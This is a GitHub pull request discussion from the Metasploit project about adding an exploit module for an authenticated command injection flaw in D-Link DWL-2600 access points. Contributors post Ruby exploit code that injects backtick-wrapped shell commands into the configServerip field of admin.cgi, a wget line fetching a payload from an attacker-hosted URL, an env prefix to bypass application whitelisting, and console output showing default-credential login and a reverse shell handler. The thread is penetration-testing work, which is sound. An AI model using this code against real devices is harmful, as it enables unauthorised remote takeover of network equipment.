Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding DLINK DWL-2600 Command Injection Module #12756

Merged
merged 8 commits into from
Mar 27, 2020

Conversation

nstarke
Copy link
Contributor

@nstarke nstarke commented Dec 24, 2019

This module takes advantage of a previously discovered command injection
vulnerability in DLINK DWL-2600 WiFi Access points. This vulnerability
is authenticated, and the module is responsible for retrieving a valid
authentication token.

Documentation markdown is included for instructions and example output.

This module takes advantage of a previously discovered command injection
vulnerability in DLINK DWL-2600 WiFi Access points.  This vulnerability
is authenticated, and the module is responsible for retrieving a valid
authentication token.
@nstarke
Copy link
Contributor Author

nstarke commented Dec 24, 2019

Merry Christmas and Happy Holidays!

filename = rand_text_alpha_lower(8)

#not working if we send all command together -> lets take three requests
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can this not use the wget command stager from the Msf::Exploit::CmdStager mixin?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will that mixin retain the absolute path to wget? This particular device doesn't have /usr/bin on the path. If so I will definitely change this.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I just call generate_cmdstager and prefix the wget command with the absolute path. It's not ideal, but it's a heck of a lot less boilerplate.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

got it, will update the pr.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

def execute_command(cmd, _opts = {})
# Prepend absolute path to curl(1), since it's not in $PATH
cmd.prepend('/home/bin/') if cmd.start_with?('curl')
# Bypass application whitelisting with permitted env(1)
cmd.prepend('env ')

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm having a hard time figuring out how to use the CMDStager in terms of how much functionality it will replace in this module. I've seen https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers but it doesn't really mention the wget flavor. Basically just looking for some more direction on how to use cmdstager. Thanks.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All of this is untested, but I hope that this is somewhat helpful. First, make sure to include the Msf::Exploit::CmdStager mixin and define the CmdStagerFlavor in the info. I don't think you'll need any of the code used in setting up an http server, and I don't believe you'll need on_request_uri() or wait_linux_payload() either because an http server will be set up by default when the wget flavor is chosen. You can also remove Msf::Exploit::Remote::HttpServer because that will be included with the command stager mixin.

Instead of breaking your payload up into separate commands and calling request() with each command, you can replace your request() method with execute_command() and call execute_cmdstager() with the linemax option set in your exploit() method. This will do the same thing that you're currently doing, but it will reduce the code a bit and make all of the requests for you.

def execute_command(cmd, opts={})
  cmd.prepend('/usr/bin/') if cmd.start_with?('wget')
  bogus = Rex::Text.rand_text_alpha(rand(10))

  post_data = Rex::MIME::Message.new
  post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"")
  post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"")
  post_data.add_part("`#{cmd}`", nil, nil, "form-data; name=\"configServerip\"")

  print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now
  res = send_request_cgi({
    'method' => 'POST',
    'uri'    => normalize_uri(target_uri.path, 'admin.cgi'),
    'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
    'cookie' => "sessionHTTP=#{@token};",
    'data'   => post_data.to_s,
    'query'  => 'action=config_restore'
  })

  unless res || res.code != 200
    fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!")
  end

rescue ::Rex::ConnectionError
  vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
  return
end

Your exploit() method might look something like:

def exploit
  # login code, grab token, etc.
  ...
  if target.name =~ /CMD/
    unless (datastore['CMD'])
      fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    execute_command(payload.encoded)
  else
    execute_cmdstager(linemax: 100)
  end
end

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for writing that up, @space-r7!

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you @space-r7 ; I will return to this sometime soon and get it fixed. Thanks!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No problem!

@nstarke
Copy link
Contributor Author

nstarke commented Jan 3, 2020

bear with me on this one, it may take me a few days to get back to it. Apologies!

@space-r7 space-r7 self-assigned this Feb 7, 2020
@space-r7
Copy link
Contributor

Hey @nstarke, I just added a PR with the command stager changes. I was unable to test, but the code should be in the ballpark of functional.

@nstarke
Copy link
Contributor Author

nstarke commented Mar 26, 2020

I'm very sorry that I was not able to get to this in a timely fashion. I will test your PR this weekend and merge if everything works, as well as send over a pcap. Thanks again for your patience and help with this. I really appreciate it.

@nstarke
Copy link
Contributor Author

nstarke commented Mar 26, 2020

I merged the other pull request, but the module does not yet return a shell. I will troubleshoot and submit another commit this weekend.

@nstarke
Copy link
Contributor Author

nstarke commented Mar 26, 2020

I'm seeing the following output:

msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > exploit

[*] Started reverse TCP handler on 192.168.0.101:4444 
[*] 192.168.0.100:80 - Trying to login with admin / admin
[+] 192.168.0.100:80 - Successful login admin/admin
[+] 192.168.0.100:80 - Received Auth token: EGKNMwRgZbmBVjFtPVosxPNzqjxBPQdt
[*] Using URL: http://0.0.0.0:8080/fYoAYmiFkG7c7VI
[*] Local IP: http://192.168.0.101:8080/fYoAYmiFkG7c7VI
[*] Sending CGI payload using token: 
[*] Command Stager progress -  80.00% done (96/120 bytes)
[*] Sending CGI payload using token: 
[*] Command Stager progress - 107.50% done (129/120 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.

Does this line look right?

[*] Command Stager progress - 107.50% done (129/120 bytes)

@bcoles
Copy link
Contributor

bcoles commented Mar 26, 2020

Does this line look right?

[*] Command Stager progress - 107.50% done (129/120 bytes)

No, but the command stager is insane, so I wouldn't be too concerned. (#9693)

@bcoles
Copy link
Contributor

bcoles commented Mar 26, 2020

I'm seeing the following output:

msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > exploit

[*] Started reverse TCP handler on 192.168.0.101:4444 
[*] 192.168.0.100:80 - Trying to login with admin / admin
[+] 192.168.0.100:80 - Successful login admin/admin
[+] 192.168.0.100:80 - Received Auth token: EGKNMwRgZbmBVjFtPVosxPNzqjxBPQdt
[*] Using URL: http://0.0.0.0:8080/fYoAYmiFkG7c7VI
[*] Local IP: http://192.168.0.101:8080/fYoAYmiFkG7c7VI
[*] Sending CGI payload using token: 
[*] Command Stager progress -  80.00% done (96/120 bytes)
[*] Sending CGI payload using token: 
[*] Command Stager progress - 107.50% done (129/120 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.

It looks like @token is never defined, and thus never used.

Comment on lines 124 to 130
token = res.body[tokenoffset, endoffset - tokenoffset]

if token.empty?
fail_with(Failure::NoAccess, "#{peer} - No Auth token received")
end

print_good("#{peer} - Received Auth token: #{token}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Untested, but this might fix the issue.

Suggested change
token = res.body[tokenoffset, endoffset - tokenoffset]
if token.empty?
fail_with(Failure::NoAccess, "#{peer} - No Auth token received")
end
print_good("#{peer} - Received Auth token: #{token}")
@token = res.body[tokenoffset, endoffset - tokenoffset]
if @token.empty?
fail_with(Failure::NoAccess, "#{peer} - No Auth token received")
end
print_good("#{peer} - Received Auth token: #{@token}")

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I made this change and it definitely runs better now, but its still not executing the command on the device. I am not sure what is going on but I'll continue to debug.

@nstarke
Copy link
Contributor Author

nstarke commented Mar 26, 2020

Ok, the problem is the command injection location doesn't want to accept multiple concatenated commands at once. So that means I need to make each command segment as an independent request, one for wget one for chmod and one to call the executable. Any thoughts on how I do that with CmdStager?

@space-r7
Copy link
Contributor

Ok, the problem is the command injection location doesn't want to accept multiple concatenated commands at once. So that means I need to make each command segment as an independent request, one for wget one for chmod and one to call the executable. Any thoughts on how I do that with CmdStager?

Shortening the value for the linemax option in execute_cmdstager() should solve that.

@nstarke
Copy link
Contributor Author

nstarke commented Mar 27, 2020

I tried reducing the linemax value to 1, and then 75, and the exploit still doesn't work. It seems when it is set to 75 that only one command is executed (the wget command). What am I doing wrong?

@nstarke
Copy link
Contributor Author

nstarke commented Mar 27, 2020

Looking at https://github.com/rapid7/rex-exploitation/blob/00db2b2212425b44a1107bd3be65e346f87af403/lib/rex/exploitation/cmdstager/wget.rb it seems like there is no option that will "split" up the commands into individual requests.

Should we:

  1. Revert to my previous commit, which doesn't use command stager but does make separate requests or

  2. Add this feature to Rex-exploitation?

Thanks!

@nstarke
Copy link
Contributor Author

nstarke commented Mar 27, 2020

Nevermind, I found https://github.com/rapid7/rex-exploitation/blob/00db2b2212425b44a1107bd3be65e346f87af403/lib/rex/exploitation/cmdstager/base.rb#L133 noconcat option, let me play around with that.

These last finishing touches complete the DLINK DWL 2600 Module.  The
fixes include making renaming token to @token and adding the noconcat
CmdStager option.
@nstarke
Copy link
Contributor Author

nstarke commented Mar 27, 2020

I have submitted what I consider the final commit for this module. Please let me know if there are any last modifications you would like to see; I don't think there are any outstanding changes requested.

I'd like to thank @space-r7 and @bcoles for their help on this. Thank you very much!

Also, let me know where I need to send the PCAP!

@bcoles
Copy link
Contributor

bcoles commented Mar 27, 2020

Also, let me know where I need to send the PCAP!

It may or may not be better to wait for spacey to review your changes before sending the pcap in case further changes are required.

pcaps can be sent to msfdev@metasploit.com

@space-r7
Copy link
Contributor

Nevermind, I found noconcat option, let me play around with that.

Oops, that was indeed the one you wanted. Sorry for suggesting otherwise.

The only change that I think may be needed is the exploit output in the documentation should be changed since the command stager is being used now. Beyond that, feel free to send the PCAP to msfdev@metasploit.com when you have the time. Thanks so much for the quick response and getting this across the finish line!

@nstarke
Copy link
Contributor Author

nstarke commented Mar 27, 2020

I'll get the pcap emailed out today and I will also update the documentation scenarios. standby. thanks

@nstarke
Copy link
Contributor Author

nstarke commented Mar 27, 2020

PCAP Emailed and documentation updated.

space-r7 added a commit that referenced this pull request Mar 27, 2020
@space-r7 space-r7 merged commit 360e3ef into rapid7:master Mar 27, 2020
@space-r7
Copy link
Contributor

Verified the PCAP, removed mixins that were no longer needed, and added the cve to the module. Thanks again, @nstarke!

@space-r7
Copy link
Contributor

space-r7 commented Mar 27, 2020

Release Notes

This adds an exploit module for D-Link DWL-2600 4.2.0.15 Rev A Access Point. The vulnerability exists within the restore configuration functionality in the web interface. Authenticated remote code execution can be achieved by sending a POST request to the /admin.cgi?action=config_restore uri containing a payload within the unsanitized configServerip parameter.

@nstarke
Copy link
Contributor Author

nstarke commented Mar 27, 2020

Thanks again everyone for your help and patience here.

@tperry-r7 tperry-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 15, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants